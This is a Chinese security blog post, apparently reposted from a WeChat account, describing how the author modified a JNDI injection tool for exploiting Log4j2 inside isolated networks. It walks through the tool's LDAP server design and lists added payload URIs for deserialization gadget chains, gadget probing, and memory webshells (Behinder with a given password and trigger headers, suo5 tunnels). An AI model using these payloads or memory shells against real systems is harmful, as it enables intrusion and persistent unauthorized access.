前言
实战中遇到log4j2漏洞,并且不出网,在内网另一台获得权限的主机上上传JNDIBypassExploit注入工具进行利用,在注入内存马的时候感觉不太方便,于是对该工具的代码进行学习,并进行改造。
分析
入口在Starter.java,Config.applyCmdArgs接受命令行的传参,LdapServer.start()开启ldap监听,HTTPServer.start()开启http监听。
重点看LdapServer.start(),开启ldap监听。
在构造函数LdapServer()中,使用Reflections库扫描@LdapMapping注解的控制器类, 并进行实例化,然后提取uri,将uri与控制器对象关联存储在routes中。
重写InMemoryOperationInterceptor的processSearchResult,用于拦截ldap查询请求,获取到ldap查询请求后,判断查询请求是否以前面存储在routes中的uri开头,如果不是则打印错误信息,然后return,如果是,则获取routes中uri对应的控制器对象,并调用其process和sendResult方法。
process方法用来获取传入的参数和打印信息。
sendResult方法用来构造响应数据并将响应发送给请求方。
新建
想要实现自定义的功能,只要新建一个@LdapMapping注解的Controller,并设置一个uri,重写process方法和sendResult方法即可,例如:
新建一个类,并实现LdapController接口,并重写sendResult和process接口。
添加@LdapMapping注解,并设置uri,这里为example。
在process方法中设置参数、输出信息,在sendResult方法中构造响应数据,这里是cc6的序列化数据,执行calc命令。
启动ldap服务端,发起ldap查询ldap://0.0.0.0:1389/example。
改造
加入suo5内存马,加入更多的反序列化利用链,以及反序列化gadget探测,目前payload比较少,考虑后面慢慢完善。
ldap://127.0.0.1:1389/tmel/echo #添加请求头 Etags: d2hvYW1p
ldap://127.0.0.1:1389/tmel/mem #冰蝎连接,密码 p@ss01,添加请求头 Dtags:www
ldap://127.0.0.1:1389/tmel/suo5 #请求头User-Agent中添加Tnrpvdmva
ldap://127.0.0.1:1389/deser/check/all/{dnslog}
ldap://127.0.0.1:1389/deser/urldns/{dnslog}
ldap://127.0.0.1:1389/deser/cc2/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/cc6/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/cb/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/hib/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/jackson/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/rome/{echo|mem|suo5}
tomcat el表达式:
反序列化探测gadget:
反序列化利用链:
最后
本文内容仅为本人学习jndi利用工具所产出,工具可加入星球获取。
参考
- https://github.com/feihong-cs/JNDIExploit
- https://github.com/kezibei/Urldns/tree/main
原文始发于微信公众号(良月安全):[工具推荐]JNDI利用分析魔改
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论